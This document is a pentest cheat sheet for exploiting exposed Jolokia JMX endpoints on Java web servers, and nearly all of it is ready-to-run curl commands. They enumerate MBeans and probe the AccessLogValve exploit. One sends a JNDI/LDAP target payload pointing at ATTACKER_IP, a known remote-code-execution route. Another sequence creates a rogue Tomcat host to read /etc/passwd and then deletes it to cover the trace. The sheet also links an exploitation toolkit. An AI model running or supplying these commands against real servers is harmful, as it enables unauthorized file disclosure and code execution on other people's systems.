Jolokia Pentest

 

Usually found under 
- No Default port - can be used under any webserver

/jolokia
/actuator/jolokia

#Get basic Version info and where it is being used
curl http://10.10.10.10:8899/jolokia/

#Get the list of functions 
curl http://10.10.10.10/jolokia/list

#Check Vuln Status to AccessLogValve Exploit
curl -kL http://10.10.10.10:8080/jolokia/read/Catalina:host=localhost,name=AccessLogValve,type=Valve

#Access an instance
curl -d '{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "target" : { 
        "url" : "service:jmx:rmi:///jndi/ldap://ATTACKER_IP:8001/jmxrm"
    } 
}' 'http://VICTIM_IP:8080/jolokia/'

Jolokia Tool Kit 

git clone https://github.com/laluka/jolokia-exploitation-toolkit
python jolokia-parser.py http://10.10.10.10:8899/jolokia/  | tee jolokia-list.log

#Commend EXEC - Based on the output create the command
grep createStandardHost jolokia-list.log
curl -skg 'http://10.10.10.10:8080/jolokia/exec/Catalina:type=MBeanFactory/createStandardHost/Catalina:type=Host,host=dummy.com/dummy.com/!//true/true/true/true/true/true' | jq .
curl -skg 'http://10.10.10.10:8080/etc/passwd' -H 'Host: dummy.com

#destroy the dummy endpoint after 
curl -skg 'http://10.10.10.10:8080/jolokia/exec/Catalina:host=dummy.com,type=Host/stop' 
curl -skg 'http://10.10.10.10:8080/jolokia/exec/Catalina:host=dummy.com,type=Host/destroy' 

#useful urls
curl -sk 'http://127.0.0.1:8080/jolokia/read/java.lang:type=Runtime/BootClassPath' | jq .
curl -sk 'http://127.0.0.1:8080/jolokia/read/java.lang:type=Runtime/ClassPath' | jq .
curl -sk 'http://127.0.0.1:8080/jolokia/read/java.lang:type=Runtime/InputArguments' | jq .
curl -sk 'http://127.0.0.1:8080/jolokia/read/java.lang:type=Runtime/LibraryPath' | jq .
curl -sk 'http://127.0.0.1:8080/jolokia/read/java.lang:type=Runtime/SystemProperties' | jq .

References

How I made more than $30K with Jolokia CVEs | Patrik Fehrenbach (it-securityguard.com)
GitHub - mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE
Get shells with JET, the Jolokia Exploitation Toolkit • Think Love Share
therealcoiffeur.github.io | ♨_♨